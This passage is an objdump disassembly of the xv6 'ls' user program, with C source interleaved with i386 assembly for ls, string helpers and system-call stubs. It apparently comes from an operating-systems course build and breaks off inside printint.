_ls: file format elf32-i386 Disassembly of section .text: 00000000 <main>: close(fd); } int main(int argc, char *argv[]) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 56 push %esi 4: 53 push %ebx 5: 83 e4 f0 and $0xfffffff0,%esp 8: 83 ec 10 sub $0x10,%esp b: 8b 45 08 mov 0x8(%ebp),%eax e: 8b 55 0c mov 0xc(%ebp),%edx int i; if(argc < 2){ 11: 83 f8 01 cmp $0x1,%eax 14: 7e 27 jle 3d <main+0x3d> 16: 8d 5a 04 lea 0x4(%edx),%ebx 19: 8d 34 82 lea (%edx,%eax,4),%esi 1c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi ls("."); exit(0); } for(i=1; i<argc; i++) ls(argv[i]); 20: 8b 03 mov (%ebx),%eax 22: 83 c3 04 add $0x4,%ebx 25: 89 04 24 mov %eax,(%esp) 28: e8 d3 00 00 00 call 100 <ls> for(i=1; i<argc; i++) 2d: 39 f3 cmp %esi,%ebx 2f: 75 ef jne 20 <main+0x20> exit(0); 31: c7 04 24 00 00 00 00 movl $0x0,(%esp) 38: e8 9b 05 00 00 call 5d8 <exit> ls("."); 3d: c7 04 24 00 0b 00 00 movl $0xb00,(%esp) 44: e8 b7 00 00 00 call 100 <ls> exit(0); 49: c7 04 24 00 00 00 00 movl $0x0,(%esp) 50: e8 83 05 00 00 call 5d8 <exit> 55: 66 90 xchg %ax,%ax 57: 66 90 xchg %ax,%ax 59: 66 90 xchg %ax,%ax 5b: 66 90 xchg %ax,%ax 5d: 66 90 xchg %ax,%ax 5f: 90 nop 00000060 <fmtname>: { 60: 55 push %ebp 61: 89 e5 mov %esp,%ebp 63: 56 push %esi 64: 53 push %ebx 65: 83 ec 10 sub $0x10,%esp 68: 8b 5d 08 mov 0x8(%ebp),%ebx for(p=path+strlen(path); p >= path && *p != '/'; p--) 6b: 89 1c 24 mov %ebx,(%esp) 6e: e8 9d 03 00 00 call 410 <strlen> 73: 01 d8 add %ebx,%eax 75: 73 0e jae 85 <fmtname+0x25> 77: eb 11 jmp 8a <fmtname+0x2a> 79: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80: 48 dec %eax 81: 39 c3 cmp %eax,%ebx 83: 77 05 ja 8a <fmtname+0x2a> 85: 80 38 2f cmpb $0x2f,(%eax) 88: 75 f6 jne 80 <fmtname+0x20> p++; 8a: 8d 58 01 lea 0x1(%eax),%ebx if(strlen(p) >= DIRSIZ) 8d: 89 1c 24 mov %ebx,(%esp) 90: e8 7b 03 00 00 call 410 <strlen> 95: 83 f8 0d cmp $0xd,%eax 98: 77 54 ja ee <fmtname+0x8e> memmove(buf, p, strlen(p)); 9a: 89 1c 24 mov %ebx,(%esp) 9d: e8 6e 03 00 00 call 410 <strlen> a2: 89 5c 24 04 mov %ebx,0x4(%esp) a6: c7 04 24 38 0e 00 00 movl $0xe38,(%esp) ad: 89 44 24 08 mov %eax,0x8(%esp) b1: e8 ea 04 00 00 call 5a0 <memmove> memset(buf+strlen(p), ' ', DIRSIZ-strlen(p)); b6: 89 1c 24 mov %ebx,(%esp) b9: e8 52 03 00 00 call 410 <strlen> be: 89 1c 24 mov %ebx,(%esp) return buf; c1: bb 38 0e 00 00 mov $0xe38,%ebx memset(buf+strlen(p), ' ', DIRSIZ-strlen(p)); c6: 89 c6 mov %eax,%esi c8: e8 43 03 00 00 call 410 <strlen> cd: ba 0e 00 00 00 mov $0xe,%edx d2: 29 f2 sub %esi,%edx d4: 89 54 24 08 mov %edx,0x8(%esp) d8: ba 20 00 00 00 mov $0x20,%edx dd: 89 54 24 04 mov %edx,0x4(%esp) e1: 05 38 0e 00 00 add $0xe38,%eax e6: 89 04 24 mov %eax,(%esp) e9: e8 52 03 00 00 call 440 <memset> } ee: 83 c4 10 add $0x10,%esp f1: 89 d8 mov %ebx,%eax f3: 5b pop %ebx f4: 5e pop %esi f5: 5d pop %ebp f6: c3 ret f7: 89 f6 mov %esi,%esi f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000100 <ls>: { 100: 55 push %ebp if((fd = open(path, 0)) < 0){ 101: 31 c0 xor %eax,%eax { 103: 89 e5 mov %esp,%ebp 105: 81 ec 88 02 00 00 sub $0x288,%esp 10b: 89 7d fc mov %edi,-0x4(%ebp) 10e: 8b 7d 08 mov 0x8(%ebp),%edi if((fd = open(path, 0)) < 0){ 111: 89 44 24 04 mov %eax,0x4(%esp) { 115: 89 5d f4 mov %ebx,-0xc(%ebp) 118: 89 75 f8 mov %esi,-0x8(%ebp) if((fd = open(path, 0)) < 0){ 11b: 89 3c 24 mov %edi,(%esp) 11e: e8 f5 04 00 00 call 618 <open> 123: 85 c0 test %eax,%eax 125: 78 49 js 170 <ls+0x70> if(fstat(fd, &st) < 0){ 127: 8d b5 d4 fd ff ff lea -0x22c(%ebp),%esi 12d: 89 c3 mov %eax,%ebx 12f: 89 74 24 04 mov %esi,0x4(%esp) 133: 89 04 24 mov %eax,(%esp) 136: e8 f5 04 00 00 call 630 <fstat> 13b: 85 c0 test %eax,%eax 13d: 0f 88 dd 00 00 00 js 220 <ls+0x120> switch(st.type){ 143: 0f bf 85 d4 fd ff ff movswl -0x22c(%ebp),%eax 14a: 83 f8 01 cmp $0x1,%eax 14d: 0f 84 9d 00 00 00 je 1f0 <ls+0xf0> 153: 83 f8 02 cmp $0x2,%eax 156: 74 48 je 1a0 <ls+0xa0> close(fd); 158: 89 1c 24 mov %ebx,(%esp) 15b: e8 a0 04 00 00 call 600 <close> } 160: 8b 5d f4 mov -0xc(%ebp),%ebx 163: 8b 75 f8 mov -0x8(%ebp),%esi 166: 8b 7d fc mov -0x4(%ebp),%edi 169: 89 ec mov %ebp,%esp 16b: 5d pop %ebp 16c: c3 ret 16d: 8d 76 00 lea 0x0(%esi),%esi printf(2, "ls: cannot open %s\n", path); 170: 89 7c 24 08 mov %edi,0x8(%esp) 174: bf b8 0a 00 00 mov $0xab8,%edi 179: 89 7c 24 04 mov %edi,0x4(%esp) 17d: c7 04 24 02 00 00 00 movl $0x2,(%esp) 184: e8 b7 05 00 00 call 740 <printf> } 189: 8b 5d f4 mov -0xc(%ebp),%ebx 18c: 8b 75 f8 mov -0x8(%ebp),%esi 18f: 8b 7d fc mov -0x4(%ebp),%edi 192: 89 ec mov %ebp,%esp 194: 5d pop %ebp 195: c3 ret 196: 8d 76 00 lea 0x0(%esi),%esi 199: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi printf(1, "%s %d %d %d\n", fmtname(path), st.type, st.ino, st.size); 1a0: 8b 95 e4 fd ff ff mov -0x21c(%ebp),%edx 1a6: 89 3c 24 mov %edi,(%esp) 1a9: 8b b5 dc fd ff ff mov -0x224(%ebp),%esi 1af: 89 95 b4 fd ff ff mov %edx,-0x24c(%ebp) 1b5: e8 a6 fe ff ff call 60 <fmtname> 1ba: 8b 95 b4 fd ff ff mov -0x24c(%ebp),%edx 1c0: b9 e0 0a 00 00 mov $0xae0,%ecx 1c5: 89 74 24 10 mov %esi,0x10(%esp) 1c9: 89 4c 24 04 mov %ecx,0x4(%esp) 1cd: c7 04 24 01 00 00 00 movl $0x1,(%esp) 1d4: 89 54 24 14 mov %edx,0x14(%esp) 1d8: ba 02 00 00 00 mov $0x2,%edx 1dd: 89 54 24 0c mov %edx,0xc(%esp) 1e1: 89 44 24 08 mov %eax,0x8(%esp) 1e5: e8 56 05 00 00 call 740 <printf> break; 1ea: e9 69 ff ff ff jmp 158 <ls+0x58> 1ef: 90 nop if(strlen(path) + 1 + DIRSIZ + 1 > sizeof buf){ 1f0: 89 3c 24 mov %edi,(%esp) 1f3: e8 18 02 00 00 call 410 <strlen> 1f8: 83 c0 10 add $0x10,%eax 1fb: 3d 00 02 00 00 cmp $0x200,%eax 200: 76 4e jbe 250 <ls+0x150> printf(1, "ls: path too long\n"); 202: b8 ed 0a 00 00 mov $0xaed,%eax 207: 89 44 24 04 mov %eax,0x4(%esp) 20b: c7 04 24 01 00 00 00 movl $0x1,(%esp) 212: e8 29 05 00 00 call 740 <printf> break; 217: e9 3c ff ff ff jmp 158 <ls+0x58> 21c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi printf(2, "ls: cannot stat %s\n", path); 220: be cc 0a 00 00 mov $0xacc,%esi 225: 89 7c 24 08 mov %edi,0x8(%esp) 229: 89 74 24 04 mov %esi,0x4(%esp) 22d: c7 04 24 02 00 00 00 movl $0x2,(%esp) 234: e8 07 05 00 00 call 740 <printf> close(fd); 239: 89 1c 24 mov %ebx,(%esp) 23c: e8 bf 03 00 00 call 600 <close> } 241: 8b 5d f4 mov -0xc(%ebp),%ebx 244: 8b 75 f8 mov -0x8(%ebp),%esi 247: 8b 7d fc mov -0x4(%ebp),%edi 24a: 89 ec mov %ebp,%esp 24c: 5d pop %ebp 24d: c3 ret 24e: 66 90 xchg %ax,%ax strcpy(buf, path); 250: 89 7c 24 04 mov %edi,0x4(%esp) 254: 8d bd e8 fd ff ff lea -0x218(%ebp),%edi 25a: 89 3c 24 mov %edi,(%esp) 25d: e8 1e 01 00 00 call 380 <strcpy> p = buf+strlen(buf); 262: 89 3c 24 mov %edi,(%esp) 265: e8 a6 01 00 00 call 410 <strlen> 26a: 01 f8 add %edi,%eax *p++ = '/'; 26c: 8d 48 01 lea 0x1(%eax),%ecx p = buf+strlen(buf); 26f: 89 85 a8 fd ff ff mov %eax,-0x258(%ebp) *p++ = '/'; 275: 89 8d a4 fd ff ff mov %ecx,-0x25c(%ebp) 27b: c6 00 2f movb $0x2f,(%eax) 27e: 66 90 xchg %ax,%ax while(read(fd, &de, sizeof(de)) == sizeof(de)){ 280: b8 10 00 00 00 mov $0x10,%eax 285: 89 44 24 08 mov %eax,0x8(%esp) 289: 8d 85 c4 fd ff ff lea -0x23c(%ebp),%eax 28f: 89 44 24 04 mov %eax,0x4(%esp) 293: 89 1c 24 mov %ebx,(%esp) 296: e8 55 03 00 00 call 5f0 <read> 29b: 83 f8 10 cmp $0x10,%eax 29e: 0f 85 b4 fe ff ff jne 158 <ls+0x58> if(de.inum == 0) 2a4: 66 83 bd c4 fd ff ff cmpw $0x0,-0x23c(%ebp) 2ab: 00 2ac: 74 d2 je 280 <ls+0x180> memmove(p, de.name, DIRSIZ); 2ae: b8 0e 00 00 00 mov $0xe,%eax 2b3: 89 44 24 08 mov %eax,0x8(%esp) 2b7: 8d 85 c6 fd ff ff lea -0x23a(%ebp),%eax 2bd: 89 44 24 04 mov %eax,0x4(%esp) 2c1: 8b 85 a4 fd ff ff mov -0x25c(%ebp),%eax 2c7: 89 04 24 mov %eax,(%esp) 2ca: e8 d1 02 00 00 call 5a0 <memmove> p[DIRSIZ] = 0; 2cf: 8b 85 a8 fd ff ff mov -0x258(%ebp),%eax 2d5: c6 40 0f 00 movb $0x0,0xf(%eax) if(stat(buf, &st) < 0){ 2d9: 89 74 24 04 mov %esi,0x4(%esp) 2dd: 89 3c 24 mov %edi,(%esp) 2e0: e8 1b 02 00 00 call 500 <stat> 2e5: 85 c0 test %eax,%eax 2e7: 78 6f js 358 <ls+0x258> printf(1, "%s %d %d %d\n", fmtname(buf), st.type, st.ino, st.size); 2e9: 8b 8d e4 fd ff ff mov -0x21c(%ebp),%ecx 2ef: 8b 95 dc fd ff ff mov -0x224(%ebp),%edx 2f5: 0f bf 85 d4 fd ff ff movswl -0x22c(%ebp),%eax 2fc: 89 3c 24 mov %edi,(%esp) 2ff: 89 8d ac fd ff ff mov %ecx,-0x254(%ebp) 305: 89 95 b0 fd ff ff mov %edx,-0x250(%ebp) 30b: 89 85 b4 fd ff ff mov %eax,-0x24c(%ebp) 311: e8 4a fd ff ff call 60 <fmtname> 316: 8b 8d ac fd ff ff mov -0x254(%ebp),%ecx 31c: 8b 95 b0 fd ff ff mov -0x250(%ebp),%edx 322: c7 04 24 01 00 00 00 movl $0x1,(%esp) 329: 89 4c 24 14 mov %ecx,0x14(%esp) 32d: 8b 8d b4 fd ff ff mov -0x24c(%ebp),%ecx 333: 89 54 24 10 mov %edx,0x10(%esp) 337: ba e0 0a 00 00 mov $0xae0,%edx 33c: 89 44 24 08 mov %eax,0x8(%esp) 340: 89 54 24 04 mov %edx,0x4(%esp) 344: 89 4c 24 0c mov %ecx,0xc(%esp) 348: e8 f3 03 00 00 call 740 <printf> 34d: e9 2e ff ff ff jmp 280 <ls+0x180> 352: 8d b6 00 00 00 00 lea 0x0(%esi),%esi printf(1, "ls: cannot stat %s\n", buf); 358: b9 cc 0a 00 00 mov $0xacc,%ecx 35d: 89 7c 24 08 mov %edi,0x8(%esp) 361: 89 4c 24 04 mov %ecx,0x4(%esp) 365: c7 04 24 01 00 00 00 movl $0x1,(%esp) 36c: e8 cf 03 00 00 call 740 <printf> continue; 371: e9 0a ff ff ff jmp 280 <ls+0x180> 376: 66 90 xchg %ax,%ax 378: 66 90 xchg %ax,%ax 37a: 66 90 xchg %ax,%ax 37c: 66 90 xchg %ax,%ax 37e: 66 90 xchg %ax,%ax 00000380 <strcpy>: #include "fcntl.h" #include "user.h" #include "x86.h" char * strcpy(char *s, const char *t) { 380: 55 push %ebp 381: 89 e5 mov %esp,%ebp 383: 8b 45 08 mov 0x8(%ebp),%eax 386: 8b 4d 0c mov 0xc(%ebp),%ecx 389: 53 push %ebx char *os; os = s; while ((*s++ = *t++) != 0); 38a: 89 c2 mov %eax,%edx 38c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 390: 41 inc %ecx 391: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 395: 42 inc %edx 396: 84 db test %bl,%bl 398: 88 5a ff mov %bl,-0x1(%edx) 39b: 75 f3 jne 390 <strcpy+0x10> return os; } 39d: 5b pop %ebx 39e: 5d pop %ebp 39f: c3 ret 000003a0 <strncpy>: char* strncpy(char *s, const char *t, int n) { 3a0: 55 push %ebp char *os; os = s; while((n--) > 0 && ((*s++ = *t++) != 0)); 3a1: 31 d2 xor %edx,%edx { 3a3: 89 e5 mov %esp,%ebp 3a5: 56 push %esi 3a6: 8b 45 08 mov 0x8(%ebp),%eax 3a9: 53 push %ebx 3aa: 8b 75 0c mov 0xc(%ebp),%esi 3ad: 8b 5d 10 mov 0x10(%ebp),%ebx while((n--) > 0 && ((*s++ = *t++) != 0)); 3b0: eb 12 jmp 3c4 <strncpy+0x24> 3b2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 3b8: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 3bc: 88 0c 10 mov %cl,(%eax,%edx,1) 3bf: 42 inc %edx 3c0: 84 c9 test %cl,%cl 3c2: 74 08 je 3cc <strncpy+0x2c> 3c4: 89 d9 mov %ebx,%ecx 3c6: 29 d1 sub %edx,%ecx 3c8: 85 c9 test %ecx,%ecx 3ca: 7f ec jg 3b8 <strncpy+0x18> return os; } 3cc: 5b pop %ebx 3cd: 5e pop %esi 3ce: 5d pop %ebp 3cf: c3 ret 000003d0 <strcmp>: int strcmp(const char *p, const char *q) { 3d0: 55 push %ebp 3d1: 89 e5 mov %esp,%ebp 3d3: 8b 4d 08 mov 0x8(%ebp),%ecx 3d6: 53 push %ebx 3d7: 8b 5d 0c mov 0xc(%ebp),%ebx while (*p && *p == *q) 3da: 0f b6 01 movzbl (%ecx),%eax 3dd: 0f b6 13 movzbl (%ebx),%edx 3e0: 84 c0 test %al,%al 3e2: 75 18 jne 3fc <strcmp+0x2c> 3e4: eb 22 jmp 408 <strcmp+0x38> 3e6: 8d 76 00 lea 0x0(%esi),%esi 3e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p++, q++; 3f0: 41 inc %ecx while (*p && *p == *q) 3f1: 0f b6 01 movzbl (%ecx),%eax p++, q++; 3f4: 43 inc %ebx 3f5: 0f b6 13 movzbl (%ebx),%edx while (*p && *p == *q) 3f8: 84 c0 test %al,%al 3fa: 74 0c je 408 <strcmp+0x38> 3fc: 38 d0 cmp %dl,%al 3fe: 74 f0 je 3f0 <strcmp+0x20> return (uchar) *p - (uchar) *q; } 400: 5b pop %ebx return (uchar) *p - (uchar) *q; 401: 29 d0 sub %edx,%eax } 403: 5d pop %ebp 404: c3 ret 405: 8d 76 00 lea 0x0(%esi),%esi 408: 5b pop %ebx 409: 31 c0 xor %eax,%eax return (uchar) *p - (uchar) *q; 40b: 29 d0 sub %edx,%eax } 40d: 5d pop %ebp 40e: c3 ret 40f: 90 nop 00000410 <strlen>: uint strlen(const char *s) { 410: 55 push %ebp 411: 89 e5 mov %esp,%ebp 413: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for (n = 0; s[n]; n++); 416: 80 39 00 cmpb $0x0,(%ecx) 419: 74 15 je 430 <strlen+0x20> 41b: 31 d2 xor %edx,%edx 41d: 8d 76 00 lea 0x0(%esi),%esi 420: 42 inc %edx 421: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 425: 89 d0 mov %edx,%eax 427: 75 f7 jne 420 <strlen+0x10> return n; } 429: 5d pop %ebp 42a: c3 ret 42b: 90 nop 42c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for (n = 0; s[n]; n++); 430: 31 c0 xor %eax,%eax } 432: 5d pop %ebp 433: c3 ret 434: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 43a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000440 <memset>: void * memset(void *dst, int c, uint n) { 440: 55 push %ebp 441: 89 e5 mov %esp,%ebp 443: 8b 55 08 mov 0x8(%ebp),%edx 446: 57 push %edi } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 447: 8b 4d 10 mov 0x10(%ebp),%ecx 44a: 8b 45 0c mov 0xc(%ebp),%eax 44d: 89 d7 mov %edx,%edi 44f: fc cld 450: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 452: 5f pop %edi 453: 89 d0 mov %edx,%eax 455: 5d pop %ebp 456: c3 ret 457: 89 f6 mov %esi,%esi 459: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000460 <strchr>: char * strchr(const char *s, char c) { 460: 55 push %ebp 461: 89 e5 mov %esp,%ebp 463: 8b 45 08 mov 0x8(%ebp),%eax 466: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx for (; *s; s++) 46a: 0f b6 10 movzbl (%eax),%edx 46d: 84 d2 test %dl,%dl 46f: 74 1b je 48c <strchr+0x2c> if (*s == c) 471: 38 d1 cmp %dl,%cl 473: 75 0f jne 484 <strchr+0x24> 475: eb 17 jmp 48e <strchr+0x2e> 477: 89 f6 mov %esi,%esi 479: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 480: 38 ca cmp %cl,%dl 482: 74 0a je 48e <strchr+0x2e> for (; *s; s++) 484: 40 inc %eax 485: 0f b6 10 movzbl (%eax),%edx 488: 84 d2 test %dl,%dl 48a: 75 f4 jne 480 <strchr+0x20> return (char *) s; return 0; 48c: 31 c0 xor %eax,%eax } 48e: 5d pop %ebp 48f: c3 ret 00000490 <gets>: char * gets(char *buf, int max) { 490: 55 push %ebp 491: 89 e5 mov %esp,%ebp 493: 57 push %edi 494: 56 push %esi int i, cc; char c; for (i = 0; i + 1 < max;) { 495: 31 f6 xor %esi,%esi gets(char *buf, int max) { 497: 53 push %ebx 498: 83 ec 3c sub $0x3c,%esp 49b: 8b 5d 08 mov 0x8(%ebp),%ebx cc = read(0, &c, 1); 49e: 8d 7d e7 lea -0x19(%ebp),%edi for (i = 0; i + 1 < max;) { 4a1: eb 32 jmp 4d5 <gets+0x45> 4a3: 90 nop 4a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi cc = read(0, &c, 1); 4a8: ba 01 00 00 00 mov $0x1,%edx 4ad: 89 54 24 08 mov %edx,0x8(%esp) 4b1: 89 7c 24 04 mov %edi,0x4(%esp) 4b5: c7 04 24 00 00 00 00 movl $0x0,(%esp) 4bc: e8 2f 01 00 00 call 5f0 <read> if (cc < 1) 4c1: 85 c0 test %eax,%eax 4c3: 7e 19 jle 4de <gets+0x4e> break; buf[i++] = c; 4c5: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 4c9: 43 inc %ebx 4ca: 88 43 ff mov %al,-0x1(%ebx) if (c == '\n' || c == '\r') 4cd: 3c 0a cmp $0xa,%al 4cf: 74 1f je 4f0 <gets+0x60> 4d1: 3c 0d cmp $0xd,%al 4d3: 74 1b je 4f0 <gets+0x60> for (i = 0; i + 1 < max;) { 4d5: 46 inc %esi 4d6: 3b 75 0c cmp 0xc(%ebp),%esi 4d9: 89 5d d4 mov %ebx,-0x2c(%ebp) 4dc: 7c ca jl 4a8 <gets+0x18> break; } buf[i] = '\0'; 4de: 8b 45 d4 mov -0x2c(%ebp),%eax 4e1: c6 00 00 movb $0x0,(%eax) return buf; } 4e4: 8b 45 08 mov 0x8(%ebp),%eax 4e7: 83 c4 3c add $0x3c,%esp 4ea: 5b pop %ebx 4eb: 5e pop %esi 4ec: 5f pop %edi 4ed: 5d pop %ebp 4ee: c3 ret 4ef: 90 nop 4f0: 8b 45 08 mov 0x8(%ebp),%eax 4f3: 01 c6 add %eax,%esi 4f5: 89 75 d4 mov %esi,-0x2c(%ebp) 4f8: eb e4 jmp 4de <gets+0x4e> 4fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 00000500 <stat>: int stat(const char *n, struct stat *st) { 500: 55 push %ebp int fd; int r; fd = open(n, O_RDONLY); 501: 31 c0 xor %eax,%eax stat(const char *n, struct stat *st) { 503: 89 e5 mov %esp,%ebp 505: 83 ec 18 sub $0x18,%esp fd = open(n, O_RDONLY); 508: 89 44 24 04 mov %eax,0x4(%esp) 50c: 8b 45 08 mov 0x8(%ebp),%eax stat(const char *n, struct stat *st) { 50f: 89 5d f8 mov %ebx,-0x8(%ebp) 512: 89 75 fc mov %esi,-0x4(%ebp) fd = open(n, O_RDONLY); 515: 89 04 24 mov %eax,(%esp) 518: e8 fb 00 00 00 call 618 <open> if (fd < 0) 51d: 85 c0 test %eax,%eax 51f: 78 2f js 550 <stat+0x50> 521: 89 c3 mov %eax,%ebx return -1; r = fstat(fd, st); 523: 8b 45 0c mov 0xc(%ebp),%eax 526: 89 1c 24 mov %ebx,(%esp) 529: 89 44 24 04 mov %eax,0x4(%esp) 52d: e8 fe 00 00 00 call 630 <fstat> close(fd); 532: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); 535: 89 c6 mov %eax,%esi close(fd); 537: e8 c4 00 00 00 call 600 <close> return r; } 53c: 89 f0 mov %esi,%eax 53e: 8b 5d f8 mov -0x8(%ebp),%ebx 541: 8b 75 fc mov -0x4(%ebp),%esi 544: 89 ec mov %ebp,%esp 546: 5d pop %ebp 547: c3 ret 548: 90 nop 549: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return -1; 550: be ff ff ff ff mov $0xffffffff,%esi 555: eb e5 jmp 53c <stat+0x3c> 557: 89 f6 mov %esi,%esi 559: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000560 <atoi>: int atoi(const char *s) { 560: 55 push %ebp 561: 89 e5 mov %esp,%ebp 563: 8b 4d 08 mov 0x8(%ebp),%ecx 566: 53 push %ebx int n; n = 0; while ('0' <= *s && *s <= '9') 567: 0f be 11 movsbl (%ecx),%edx 56a: 88 d0 mov %dl,%al 56c: 2c 30 sub $0x30,%al 56e: 3c 09 cmp $0x9,%al n = 0; 570: b8 00 00 00 00 mov $0x0,%eax while ('0' <= *s && *s <= '9') 575: 77 1e ja 595 <atoi+0x35> 577: 89 f6 mov %esi,%esi 579: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi n = n * 10 + *s++ - '0'; 580: 41 inc %ecx 581: 8d 04 80 lea (%eax,%eax,4),%eax 584: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax while ('0' <= *s && *s <= '9') 588: 0f be 11 movsbl (%ecx),%edx 58b: 88 d3 mov %dl,%bl 58d: 80 eb 30 sub $0x30,%bl 590: 80 fb 09 cmp $0x9,%bl 593: 76 eb jbe 580 <atoi+0x20> return n; } 595: 5b pop %ebx 596: 5d pop %ebp 597: c3 ret 598: 90 nop 599: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 000005a0 <memmove>: void * memmove(void *vdst, const void *vsrc, int n) { 5a0: 55 push %ebp 5a1: 89 e5 mov %esp,%ebp 5a3: 56 push %esi 5a4: 8b 45 08 mov 0x8(%ebp),%eax 5a7: 53 push %ebx 5a8: 8b 5d 10 mov 0x10(%ebp),%ebx 5ab: 8b 75 0c mov 0xc(%ebp),%esi char *dst; const char *src; dst = vdst; src = vsrc; while (n-- > 0) 5ae: 85 db test %ebx,%ebx 5b0: 7e 1a jle 5cc <memmove+0x2c> 5b2: 31 d2 xor %edx,%edx 5b4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 5ba: 8d bf 00 00 00 00 lea 0x0(%edi),%edi *dst++ = *src++; 5c0: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 5c4: 88 0c 10 mov %cl,(%eax,%edx,1) 5c7: 42 inc %edx while (n-- > 0) 5c8: 39 d3 cmp %edx,%ebx 5ca: 75 f4 jne 5c0 <memmove+0x20> return vdst; } 5cc: 5b pop %ebx 5cd: 5e pop %esi 5ce: 5d pop %ebp 5cf: c3 ret 000005d0 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 5d0: b8 01 00 00 00 mov $0x1,%eax 5d5: cd 40 int $0x40 5d7: c3 ret 000005d8 <exit>: SYSCALL(exit) 5d8: b8 02 00 00 00 mov $0x2,%eax 5dd: cd 40 int $0x40 5df: c3 ret 000005e0 <wait>: SYSCALL(wait) 5e0: b8 03 00 00 00 mov $0x3,%eax 5e5: cd 40 int $0x40 5e7: c3 ret 000005e8 <pipe>: SYSCALL(pipe) 5e8: b8 04 00 00 00 mov $0x4,%eax 5ed: cd 40 int $0x40 5ef: c3 ret 000005f0 <read>: SYSCALL(read) 5f0: b8 05 00 00 00 mov $0x5,%eax 5f5: cd 40 int $0x40 5f7: c3 ret 000005f8 <write>: SYSCALL(write) 5f8: b8 10 00 00 00 mov $0x10,%eax 5fd: cd 40 int $0x40 5ff: c3 ret 00000600 <close>: SYSCALL(close) 600: b8 15 00 00 00 mov $0x15,%eax 605: cd 40 int $0x40 607: c3 ret 00000608 <kill>: SYSCALL(kill) 608: b8 06 00 00 00 mov $0x6,%eax 60d: cd 40 int $0x40 60f: c3 ret 00000610 <exec>: SYSCALL(exec) 610: b8 07 00 00 00 mov $0x7,%eax 615: cd 40 int $0x40 617: c3 ret 00000618 <open>: SYSCALL(open) 618: b8 0f 00 00 00 mov $0xf,%eax 61d: cd 40 int $0x40 61f: c3 ret 00000620 <mknod>: SYSCALL(mknod) 620: b8 11 00 00 00 mov $0x11,%eax 625: cd 40 int $0x40 627: c3 ret 00000628 <unlink>: SYSCALL(unlink) 628: b8 12 00 00 00 mov $0x12,%eax 62d: cd 40 int $0x40 62f: c3 ret 00000630 <fstat>: SYSCALL(fstat) 630: b8 08 00 00 00 mov $0x8,%eax 635: cd 40 int $0x40 637: c3 ret 00000638 <link>: SYSCALL(link) 638: b8 13 00 00 00 mov $0x13,%eax 63d: cd 40 int $0x40 63f: c3 ret 00000640 <mkdir>: SYSCALL(mkdir) 640: b8 14 00 00 00 mov $0x14,%eax 645: cd 40 int $0x40 647: c3 ret 00000648 <chdir>: SYSCALL(chdir) 648: b8 09 00 00 00 mov $0x9,%eax 64d: cd 40 int $0x40 64f: c3 ret 00000650 <dup>: SYSCALL(dup) 650: b8 0a 00 00 00 mov $0xa,%eax 655: cd 40 int $0x40 657: c3 ret 00000658 <getpid>: SYSCALL(getpid) 658: b8 0b 00 00 00 mov $0xb,%eax 65d: cd 40 int $0x40 65f: c3 ret 00000660 <sbrk>: SYSCALL(sbrk) 660: b8 0c 00 00 00 mov $0xc,%eax 665: cd 40 int $0x40 667: c3 ret 00000668 <sleep>: SYSCALL(sleep) 668: b8 0d 00 00 00 mov $0xd,%eax 66d: cd 40 int $0x40 66f: c3 ret 00000670 <uptime>: SYSCALL(uptime) 670: b8 0e 00 00 00 mov $0xe,%eax 675: cd 40 int $0x40 677: c3 ret 00000678 <detach>: SYSCALL(detach) 678: b8 16 00 00 00 mov $0x16,%eax 67d: cd 40 int $0x40 67f: c3 ret 00000680 <priority>: SYSCALL(priority) 680: b8 17 00 00 00 mov $0x17,%eax 685: cd 40 int $0x40 687: c3 ret 00000688 <policy>: SYSCALL(policy) 688: b8 18 00 00 00 mov $0x18,%eax 68d: cd 40 int $0x40 68f: c3 ret 00000690 <wait_stat>: SYSCALL(wait_stat) 690: b8 19 00 00 00 mov $0x19,%eax 695: cd 40 int $0x40 697: c3 ret 698: 66 90 xchg %ax,%ax 69a: 66 90 xchg %ax,%ax 69c: 66 90 xchg %ax,%ax 69e: 66 90 xchg %ax,%ax 000006a0 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 6a0: 55 push %ebp 6a1: 89 e5 mov %esp,%ebp 6a3: 57 push %edi 6a4: 56 push %esi 6a5: 53 push %ebx char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 6a6: 89 d3 mov %edx,%ebx 6a8: c1 eb 1f shr $0x1f,%ebx { 6ab: 83 ec 4c sub $0x4c,%esp if(sgn && xx < 0){ 6ae: 84 db test %bl,%bl { 6b0: 89 45 c0 mov %eax,-0x40(%ebp) 6b3: 89 d0 mov %edx,%eax if(sgn && xx < 0){ 6b5: 74 79 je 730 <printint+0x90> 6b7: f6 45 08 